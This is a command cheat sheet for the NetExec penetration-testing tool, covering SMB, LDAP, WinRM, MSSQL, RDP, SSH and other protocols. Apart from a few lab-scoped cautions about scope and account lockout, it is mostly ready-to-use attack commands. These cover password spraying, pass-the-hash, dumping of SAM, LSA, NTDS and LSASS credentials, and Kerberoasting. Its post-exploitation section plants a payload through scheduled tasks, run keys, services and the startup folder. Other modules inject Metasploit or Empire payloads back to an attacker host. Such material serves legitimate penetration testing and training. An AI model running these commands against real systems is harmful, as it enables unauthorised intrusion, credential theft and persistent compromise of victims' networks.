NetExec (nxc)

Validate one credential, then read one share

The report repeatedly uses NetExec for authentication and share discovery. Keep account scope explicit: a local account and a same-named domain account are separate principals.

nxc smb 192.0.2.10 -d example.test -u labuser -p '<LAB_PASSWORD>' --shares
nxc smb 192.0.2.10 -d example.test -u labuser -p '<LAB_PASSWORD>' \
  --spider 'Department Files' --regex '.'

Successful authentication does not prove local administrator rights or WinRM access. Spidering lists reachable paths; downloading and reading contents are separate actions. For a confirmed NT hash use -H '<NT_HASH>'; a captured NetNTLMv2 response is not the same input. Recheck the selected service and identity before expanding access. Read NetExec’s share documentation and smbclient for a specific file download.

NetExec is the maintained successor to CrackMapExec. The binary is nxc (or the full name netexec).

Installation & Updates

# Install via pipx (recommended)
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

# Upgrade to latest version
pipx upgrade netexec

# Check version
nxc --version
netexec --version

General Syntax

# Basic command structure
nxc <protocol> <target> [options]
netexec <protocol> <target> [options]  # Full name works too

# Target formats
nxc <protocol> 192.168.1.10           # Single IP
nxc <protocol> 192.168.1.0/24         # CIDR range
nxc <protocol> 192.168.1.1-50         # IP range
nxc <protocol> targets.txt            # File with targets

# Common options
-u USERNAME                            # Username (or file)
-p PASSWORD                            # Password (or file)
-H HASH                                # NTLM hash
-d DOMAIN                              # Domain name
-k                                     # Use Kerberos
--local-auth                           # Local authentication
--continue-on-success                  # Keep testing after success
-t THREADS                             # Number of threads
-M MODULE                              # Use module
-x COMMAND                             # Execute CMD command
-X PS_COMMAND                          # Execute PowerShell command

DNS Configuration Options

# Specify DNS server (CRITICAL for LDAP/BloodHound)
nxc <protocol> <target> --dns-server <dns-ip>

# Use TCP for DNS resolution
nxc <protocol> <target> --dns-tcp

# Set DNS timeout
nxc <protocol> <target> --dns-timeout 10

# Force IPv6
nxc <protocol> <target> -6

# Combined example
nxc ldap dc.domain.local --dns-server 10.10.10.10 --dns-tcp --dns-timeout 15

Authentication Methods

# Username and password
nxc smb 192.168.1.10 -u administrator -p 'Password123!'

# Null session
nxc smb 192.168.1.10 -u '' -p ''

# Guest authentication
nxc smb 192.168.1.10 -u 'guest' -p ''

# Pass-the-Hash (NTLM)
nxc smb 192.168.1.10 -u administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
nxc smb 192.168.1.10 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c

# Local authentication (bypass domain)
nxc smb 192.168.1.10 -u administrator -p password --local-auth

# Kerberos authentication
nxc smb dc.domain.local -u username -p password -k
nxc ldap dc.domain.local --use-kcache

# Credential files
nxc smb 192.168.1.0/24 -u users.txt -p passwords.txt
nxc smb 192.168.1.0/24 -u users.txt -H hashes.txt

SMB Protocol

Basic Enumeration

# Scan for SMB hosts
nxc smb 192.168.1.0/24

# Check SMB signing (for relay attacks)
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt

# Enumerate shares
nxc smb 192.168.1.10 -u username -p password --shares
nxc smb 192.168.1.10 -u '' -p '' --shares  # Null session

# Enumerate domain users
nxc smb 192.168.1.10 -u username -p password --users

# Enumerate domain groups
nxc smb 192.168.1.10 -u username -p password --groups

# Enumerate local groups
nxc smb 192.168.1.10 -u username -p password --local-groups

# Enumerate logged on users
nxc smb 192.168.1.10 -u username -p password --loggedon-users

# Enumerate active sessions
nxc smb 192.168.1.10 -u username -p password --sessions

# RID brute force
nxc smb 192.168.1.10 -u username -p password --rid-brute
nxc smb 192.168.1.10 -u '' -p '' --rid-brute  # Anonymous

# Password policy
nxc smb 192.168.1.10 -u username -p password --pass-pol

# All-in-one enumeration
nxc smb 192.168.1.10 -u username -p password --shares --users --groups --local-groups --loggedon-users --sessions --pass-pol --rid-brute

# Export username list
nxc <protocol> <target> -u username -p password --users --users-export users.txt

Command Execution

# Execute CMD command (lowercase -x)
nxc smb 192.168.1.10 -u administrator -p password -x "whoami"
nxc smb 192.168.1.10 -u administrator -p password -x "ipconfig /all"

# Execute PowerShell command (uppercase -X)
nxc smb 192.168.1.10 -u administrator -p password -X '$PSVersionTable'
nxc smb 192.168.1.10 -u administrator -p password -X 'Get-Process'

# Execute with Pass-the-Hash
nxc smb 192.168.1.10 -u administrator -H <NTLM_HASH> -x "hostname"

# Specify execution method
nxc smb 192.168.1.10 -u administrator -p password -x "whoami" --exec-method wmiexec
nxc smb 192.168.1.10 -u administrator -p password -x "whoami" --exec-method atexec
nxc smb 192.168.1.10 -u administrator -p password -x "whoami" --exec-method smbexec
nxc smb 192.168.1.10 -u administrator -p password -x "whoami" --exec-method mmcexec

# Execute without retrieving output
nxc smb 192.168.1.10 -u administrator -p password -x "command" --no-output

File Operations

# Download file from target
nxc smb 192.168.1.10 -u administrator -p password --get-file "\\Windows\\System32\\config\\SAM" ./SAM

# Upload file to target
nxc smb 192.168.1.10 -u administrator -p password --put-file ./payload.exe "\\Windows\\Temp\\payload.exe"

# Specify share for file operations
nxc smb 192.168.1.10 -u administrator -p password --get-file target_file output_file --share C$

Credential Dumping

# Dump SAM database
nxc smb 192.168.1.10 -u administrator -p password --sam

# Dump LSA secrets
nxc smb 192.168.1.10 -u administrator -p password --lsa

# Dump NTDS.dit (Domain Controller)
nxc smb 192.168.1.10 -u administrator -p password --ntds
nxc smb 192.168.1.10 -u administrator -p password --ntds vss       # VSS method
nxc smb 192.168.1.10 -u administrator -p password --ntds drsuapi   # DRSUAPI method

# Dump specific user from NTDS
nxc smb 192.168.1.10 -u administrator -p password --ntds --user targetuser

# Dump DPAPI credentials
nxc smb 192.168.1.10 -u administrator -p password --dpapi
nxc smb 192.168.1.10 -u administrator -p password --dpapi cookies
nxc smb 192.168.1.10 -u administrator -p password --dpapi nosystem

# Dump LSASS (using lsassy module)
nxc smb 192.168.1.10 -u administrator -p password -M lsassy

# Dump LAPS passwords
nxc smb 192.168.1.10 -u username -p password --laps

# Chain multiple dumps
nxc smb 192.168.1.10 -u administrator -p password --sam --lsa --dpapi

Password Spraying

# Single password against multiple users
nxc smb 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success

# Multiple passwords against multiple users
nxc smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success

# No bruteforce mode (pair user1:pass1, user2:pass2)
nxc smb 192.168.1.0/24 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success

# Password spray with delay
nxc smb 192.168.1.0/24 -u users.txt -p password --continue-on-success --jitter 5

# Local admin spray
nxc smb 192.168.1.0/24 -u administrator -p passwords.txt --local-auth --continue-on-success

SMB Modules

# List available SMB modules
nxc smb -L
nxc smb --list-modules

# Show module info / options
nxc smb -M lsassy --module-info
nxc smb -M module_name --options

# Enumerate AV products
nxc smb 192.168.1.10 -u administrator -p password -M enum_av

# GPP password extraction
nxc smb 192.168.1.10 -u username -p password -M gpp_password

# Enable RDP
nxc smb 192.168.1.10 -u administrator -p password -M rdp -o ACTION=enable

# WiFi password extraction
nxc smb 192.168.1.10 -u administrator -p password -M wifi

# Check for vulnerabilities
nxc smb 192.168.1.10 -M zerologon
nxc smb 192.168.1.10 -u username -p password -M petitpotam
nxc smb 192.168.1.10 -u username -p password -M nopac
nxc smb 192.168.1.10 -u username -p password -M printnightmare

# Coerce vulnerabilities check
nxc smb 192.168.1.10 -u username -p password -M coerce_plus -o LISTENER=192.168.1.5

# NTDS extraction module
nxc smb 192.168.1.10 -u administrator -p password -M ntdsutil

# Backup operator exploit
nxc smb 192.168.1.10 -u username -p password -M backup_operator

# Token impersonation
nxc smb 192.168.1.10 -u administrator -p password -M impersonate

# Change/reset password
nxc smb 192.168.1.10 -u administrator -p password -M change-password -o USER=targetuser NEWPASS=NewPass123!

# Retrieve MSOL password
nxc smb 192.168.1.10 -u administrator -p password -M msol

# Slinky (UNC path injection)
nxc smb 192.168.1.10 -u username -p password -M slinky -o SERVER=attacker-ip

LDAP Protocol

Basic Enumeration

# Basic LDAP authentication check
nxc ldap 192.168.1.10 -u username -p password
nxc ldap dc.domain.local -d domain.local -u username -p password

# Anonymous bind
nxc ldap 192.168.1.10 -u '' -p ''

# Get domain SID
nxc ldap 192.168.1.10 -u username -p password --get-sid

# Enumerate users / groups / computers
nxc ldap 192.168.1.10 -u username -p password --users
nxc ldap 192.168.1.10 -u username -p password --groups
nxc ldap 192.168.1.10 -u username -p password --computers

# Admin count users
nxc ldap 192.168.1.10 -u username -p password --admin-count

# Users with password not required
nxc ldap 192.168.1.10 -u username -p password --password-not-required

# Trusted for delegation
nxc ldap 192.168.1.10 -u username -p password --trusted-for-delegation

# Find delegation misconfigurations
nxc ldap 192.168.1.10 -u username -p password --find-delegation

# Password policy
nxc ldap 192.168.1.10 -u username -p password --pass-pol

# All-in-one LDAP enumeration
nxc ldap 192.168.1.10 -u username -p password --users --groups --admin-count --trusted-for-delegation --password-not-required

ASREPRoasting

# ASREPRoast all vulnerable users
nxc ldap 192.168.1.10 -u username -p password --asreproast asrep_hashes.txt

# ASREPRoast specific user
nxc ldap 192.168.1.10 -u username -p password --asreproast asrep.txt --user targetuser

Kerberoasting

# Kerberoast all SPNs
nxc ldap 192.168.1.10 -u username -p password --kerberoasting kerberoast_hashes.txt

# Kerberoast with specific encryption
nxc ldap 192.168.1.10 -u username -p password --kerberoasting kerberoast.txt --kerberoast-encryption rc4
nxc ldap 192.168.1.10 -u username -p password --kerberoasting kerberoast.txt --kerberoast-encryption aes256

BloodHound Data Collection

# Full BloodHound collection (ALWAYS specify DNS server)
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection All --dns-server 192.168.1.10

# With domain specified
nxc ldap 192.168.1.10 -d domain.local -u username -p password --bloodhound --collection All --dns-server 192.168.1.10

# Use DNS over TCP (for unstable connections)
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 --dns-tcp

# With DNS timeout
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 --dns-timeout 15

# Specific collection methods
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection DCOnly --dns-server 192.168.1.10
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Default --dns-server 192.168.1.10
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Group --dns-server 192.168.1.10
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection LocalAdmin --dns-server 192.168.1.10
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Session --dns-server 192.168.1.10
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Trusts --dns-server 192.168.1.10
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection ACL --dns-server 192.168.1.10
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Container --dns-server 192.168.1.10
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection ObjectProps --dns-server 192.168.1.10

# Multiple collection methods
nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Group,Session,ACL --dns-server 192.168.1.10

# Over proxy (use hostname not IP)
proxychains -q nxc ldap dc.domain.local -d domain.local -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 --dns-tcp

gMSA Passwords

# Enumerate gMSA accounts
nxc ldap 192.168.1.10 -u username -p password --gmsa

# Convert gMSA ID
nxc ldap 192.168.1.10 -u username -p password --gmsa-convert-id <ID>

# Decrypt gMSA from LSA
nxc ldap 192.168.1.10 -u username -p password --gmsa-decrypt-lsa gmsa_account

LDAP Modules

# List LDAP modules
nxc ldap -L

# LDAP signing check
nxc ldap 192.168.1.10 -u username -p password -M ldap-checker

# ADCS enumeration
nxc ldap 192.168.1.10 -u username -p password -M adcs

# Machine Account Quota
nxc ldap 192.168.1.10 -u username -p password -M maq

# Pre-2000 computers
nxc ldap 192.168.1.10 -u username -p password -M pre2k

# LAPS passwords (LDAP module)
nxc ldap 192.168.1.10 -u username -p password -M laps

# Get network information
nxc ldap 192.168.1.10 -u username -p password -M get-network

# Whoami via LDAP
nxc ldap 192.168.1.10 -u username -p password -M whoami

# Teams local DB
nxc ldap 192.168.1.10 -u username -p password -M teams_localdb

LDAP Queries

# Custom LDAP query
nxc ldap 192.168.1.10 -u username -p password --query "(objectClass=user)" --attributes samaccountname,mail

# Query with base DN
nxc ldap 192.168.1.10 -u username -p password --query "(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local)" --base-dn "DC=domain,DC=local"

# Query specific attributes
nxc ldap 192.168.1.10 -u username -p password --query "(name=Administrator)" --attributes objectSid,pwdLastSet

WMI Protocol

# WMI authentication
nxc wmi 192.168.1.10 -u administrator -p password
nxc wmi 192.168.1.10 -u administrator -H <NTLM_HASH>

# Execute command via WMI
nxc wmi 192.168.1.10 -u administrator -p password -x "whoami"
nxc wmi 192.168.1.10 -u administrator -p password -X 'Get-Process'

# Custom WMI queries
nxc wmi 192.168.1.10 -u administrator -p password --wmi "SELECT * FROM Win32_OperatingSystem"
nxc wmi 192.168.1.10 -u administrator -p password --wmi "SELECT * FROM Win32_Process"
nxc wmi 192.168.1.10 -u administrator -p password --wmi "SELECT * FROM Win32_Service"
nxc wmi 192.168.1.10 -u administrator -p password --wmi "SELECT * FROM Win32_LoggedOnUser"

WinRM Protocol

# WinRM authentication
nxc winrm 192.168.1.10 -u administrator -p password
nxc winrm 192.168.1.10 -u administrator -H <NTLM_HASH>

# WinRM over SSL / custom port
nxc winrm 192.168.1.10 -u administrator -p password --ssl
nxc winrm 192.168.1.10:5986 -u administrator -p password --ssl

# Execute command / PowerShell
nxc winrm 192.168.1.10 -u administrator -p password -x "whoami"
nxc winrm 192.168.1.10 -u administrator -p password -X 'Get-Process'

# Obfuscate PowerShell / no output
nxc winrm 192.168.1.10 -u administrator -p password -X 'Get-Process' --obfs
nxc winrm 192.168.1.10 -u administrator -p password -x "command" --no-output

# Dump SAM / LSA via WinRM
nxc winrm 192.168.1.10 -u administrator -p password --sam --lsa

MSSQL Protocol

# SQL / Windows / local authentication
nxc mssql 192.168.1.10 -u sa -p password
nxc mssql 192.168.1.10 -u username -p password -d DOMAIN
nxc mssql 192.168.1.10 -u username -p password --local-auth
nxc mssql 192.168.1.10 -u username -H <NTLM_HASH>
nxc mssql 192.168.1.10:1434 -u sa -p password

# Execute SQL query
nxc mssql 192.168.1.10 -u sa -p password -q "SELECT @@version"
nxc mssql 192.168.1.10 -u sa -p password -q "SELECT name FROM sys.databases"
nxc mssql 192.168.1.10 -u sa -p password -q "EXEC sp_databases"
nxc mssql 192.168.1.10 -u sa -p password -q "SELECT * FROM information_schema.tables"
nxc mssql 192.168.1.10 -u sa -p password -q "SELECT IS_SRVROLEMEMBER('sysadmin')"
nxc mssql 192.168.1.10 -u sa -p password -q "EXEC sp_linkedservers"
nxc mssql 192.168.1.10 -u sa -p password -q "SELECT * FROM sys.server_principals"

# Execute OS command (xp_cmdshell) / PowerShell
nxc mssql 192.168.1.10 -u sa -p password -x "whoami"
nxc mssql 192.168.1.10 -u sa -p password -X 'Get-Process'

# Enumeration
nxc mssql 192.168.1.10 -u username -p password --enum-instances
nxc mssql 192.168.1.10 -u username -p password --rid-brute

# MSSQL modules
nxc mssql -L
nxc mssql 192.168.1.10 -u sa -p password -M enable_cmdshell -o ACTION=enable
nxc mssql 192.168.1.10 -u username -p password -M mssql_priv
nxc mssql 192.168.1.10 -u sa -p password -M enum_links
nxc mssql 192.168.1.10 -u sa -p password -M exec_on_link -o LINK=linkedserver QUERY="SELECT @@version"

# File operations
nxc mssql 192.168.1.10 -u sa -p password --get-file target_file output_file
nxc mssql 192.168.1.10 -u sa -p password --put-file local_file remote_file

RDP Protocol

# Check RDP access / scan subnet
nxc rdp 192.168.1.10 -u administrator -p password
nxc rdp 192.168.1.0/24
nxc rdp 192.168.1.10 -u administrator -H <NTLM_HASH>
nxc rdp 192.168.1.10:3390 -u administrator -p password

# Screenshots
nxc rdp 192.168.1.10 -u administrator -p password --screenshot
nxc rdp 192.168.1.10 -u administrator -p password --screenshot --screentime 10
nxc rdp 192.168.1.10 -u administrator -p password --nla-screenshot

# Command execution (beta) with delays for slow targets
nxc rdp 192.168.1.10 -u administrator -p password -x "whoami"
nxc rdp 192.168.1.10 -u administrator -p password -x "whoami" --cmd-delay 2 --clipboard-delay 2

# Enumerate sessions
nxc rdp 192.168.1.10 -u administrator -p password --sessions

SSH Protocol

# Password / key authentication
nxc ssh 192.168.1.10 -u root -p password
nxc ssh 192.168.1.10 -u root --key-file /path/to/id_rsa
nxc ssh 192.168.1.10:2222 -u root -p password

# Execute command
nxc ssh 192.168.1.10 -u root -p password -x "id && pwd && hostname"

# Test credentials across subnet
nxc ssh 192.168.1.0/24 -u root -p passwords.txt --continue-on-success
nxc ssh 192.168.1.0/24 -u users.txt -p password --continue-on-success

FTP Protocol

# Authentication
nxc ftp 192.168.1.10 -u ftpuser -p password
nxc ftp 192.168.1.10 -u anonymous -p ''
nxc ftp 192.168.1.10:2121 -u ftpuser -p password

# File operations
nxc ftp 192.168.1.10 -u ftpuser -p password --ls
nxc ftp 192.168.1.10 -u ftpuser -p password --ls /path/to/directory
nxc ftp 192.168.1.10 -u ftpuser -p password --get /remote/file.txt
nxc ftp 192.168.1.10 -u ftpuser -p password --put /local/file.txt /remote/path/

# Scan for anonymous FTP
nxc ftp 192.168.1.0/24 -u anonymous -p '' --ls

NFS Protocol

# Scan / list exports & shares
nxc nfs 192.168.1.10
nxc nfs 192.168.1.10 --exports
nxc nfs 192.168.1.10 --shares
nxc nfs 192.168.1.0/24 --shares

# Mount / list share contents
nxc nfs 192.168.1.10 --mount /export/path
nxc nfs 192.168.1.10 --ls /export/path

VNC Protocol

# Password authentication / spray
nxc vnc 192.168.1.10 --vnc-password vncpass123
nxc vnc 192.168.1.10 --vnc-password passwords.txt
nxc vnc 192.168.1.10:5901 --vnc-password password

# Scan for VNC servers
nxc vnc 192.168.1.0/24
nxc vnc 192.168.1.0/24 --vnc-password common-vnc-passwords.txt

Database Management

# Workspaces
nxc smb --show-workspace
nxc smb --list-workspaces
nxc smb --create-workspace workspace_name
nxc smb --set-workspace workspace_name

# Databases
nxc smb --list-databases
nxc smb --export-db /path/to/export.db
nxc smb --import-db /path/to/import.db
nxc smb --query "SELECT * FROM hosts"
nxc smb --query "SELECT * FROM credentials"
nxc smb --clear-database

# Enter interactive database mode
nxcdb

Post-Exploitation & Persistence

# Enable RDP
nxc smb 192.168.1.10 -u administrator -p password -M rdp -o ACTION=enable

# Scheduled task persistence
nxc smb 192.168.1.10 -u administrator -p password -x 'schtasks /create /sc minute /mo 1 /tn "Update" /tr C:\\Windows\\Temp\\payload.exe'

# Registry run key persistence
nxc smb 192.168.1.10 -u administrator -p password -x 'reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d C:\\Windows\\Temp\\payload.exe'

# Create Windows service
nxc smb 192.168.1.10 -u administrator -p password -x 'sc create UpdateService binPath= "C:\\Windows\\Temp\\payload.exe" start= auto'

# Startup folder persistence
nxc smb 192.168.1.10 -u administrator -p password --put-file payload.exe "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\update.exe"

Integration with Other Tools

# PowerShell Empire integration
nxc smb 192.168.1.10 -u administrator -p password -M empire_exec -o LISTENER=http
nxc mssql 192.168.1.10 -u sa -p password -M empire_exec -o LISTENER=listener_name

# Metasploit integration
nxc smb 192.168.1.10 -u administrator -p password -M met_inject -o LHOST=192.168.1.5 LPORT=4444
nxc mssql 192.168.1.10 -u sa -p password --local-auth -M met_inject -o LHOST=192.168.1.5 LPORT=4444

Advanced Options

# Threads / timeout / jitter
nxc smb 192.168.1.0/24 -u administrator -p password -t 100
nxc smb 192.168.1.10 -u administrator -p password --timeout 30
nxc smb 192.168.1.0/24 -u username -p password --jitter 10

# Inspect the OS route; NetExec SMB has no general --interface/--dc-ip switch
ip route get 192.168.1.10
# For Kerberos, select the KDC hostname with the protocol's supported option
nxc smb files01.example.test -d example.test -u labuser -p '<LAB_PASSWORD>' -k --kdcHost dc01.example.test

# Debug / verbose
nxc smb 192.168.1.10 -u username -p password --debug
nxc smb 192.168.1.10 -u username -p password --verbose

# Use proxychains
proxychains -q nxc smb 192.168.1.10 -u username -p password

# Generate helper files
nxc smb 192.168.1.0/24 --generate-hosts-file hosts.txt
nxc smb 192.168.1.10 -u username -p password --generate-krb5-file krb5.conf

Useful Command Combinations

# Full domain enumeration
nxc smb 192.168.1.0/24 -u username -p password --shares --users --groups --loggedon-users --sessions --pass-pol

# Comprehensive credential dump
nxc smb 192.168.1.10 -u administrator -p password --sam --lsa --ntds --dpapi

# Password spray across subnet
nxc smb 192.168.1.0/24 -u users.txt -p 'Winter2024!' --continue-on-success --jitter 5

# Lateral movement check (PtH)
nxc smb 192.168.1.0/24 -u administrator -H <NTLM_HASH> -x "hostname"

# BloodHound collection with proper DNS
nxc ldap dc.domain.local -d domain.local -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 --dns-tcp

# Find local admin access
nxc smb 192.168.1.0/24 -u username -p password --local-auth

# Execute across multiple protocols
nxc smb 192.168.1.10 -u administrator -p password -x "whoami"
nxc winrm 192.168.1.10 -u administrator -p password -x "whoami"
nxc wmi 192.168.1.10 -u administrator -p password -x "whoami"

Tips & Best Practices

• Use the correct AD resolver; --dns-server selects it explicitly when system DNS is unsuitable.
• Use --dns-tcp for unreliable connections or proxies.
• Add --continue-on-success for password spraying.
• Use --no-bruteforce to match user:pass pairs.
• Leverage --local-auth to test local admin reuse.
• --jitter changes attempt pacing; it does not guarantee lockout avoidance or invisibility.
• Use -t to adjust threads based on network stability.
• Combine credential dumps: --sam --lsa --ntds.
• Use --obfs to obfuscate PowerShell execution.
• Test multiple execution methods (--exec-method) if one fails.
• Export findings with the database management features.
• Use modules (-M) for specialized tasks.

Keep credential checks separate from module execution

nxc --version
nxc smb --help
nxc smb 192.0.2.20 -d example.test -u labuser -p '<LAB_PASSWORD>' \
  --shares --no-write-check --log evidence-smb.txt
nxc smb -L
nxc smb -M spider_plus --options

--no-write-check prevents share enumeration from performing its ordinary write test. Without it, a READ/WRITE matrix may involve temporary remote files. Module discovery/help does not execute a module against a target; examine the options and intended side effects first.

Choose an explicit authentication scope

export KRB5CCNAME="$PWD/labuser.ccache"
klist
nxc smb files01.example.test --use-kcache --shares --no-write-check

Use FQDNs that match service principals. Authentication success on SMB does not prove WinRM, MSSQL or LDAP permissions; test the required protocol directly with the same intended identity.

Understand attempt accounting

--no-bruteforce pairs input usernames and passwords; --continue-on-success keeps trying subsequent supplied material. These options do not enforce an AD lockout policy. Failure limits apply to the current run and cannot account for other testers, services or previous failures. Read the policy and current account state before any multi-candidate check.

Validate one share and one file

nxc smb 192.0.2.20 -d example.test -u labuser -p '<LAB_PASSWORD>' \
  --spider Department --spider-folder Reports --depth 2 --pattern pdf

Spidering names is different from downloading content. Use smbclient to collect a selected file and preserve the remote path. spider_plus is a module with its own output/download options; do not assume bare --spider and module invocation have identical behaviour.

Diagnose what the status actually proves

Store logs and the NetExec workspace privately because they can retain credentials. Keep version and per-protocol help with reproducible findings. See the upstream share-access documentation for the standard share workflow.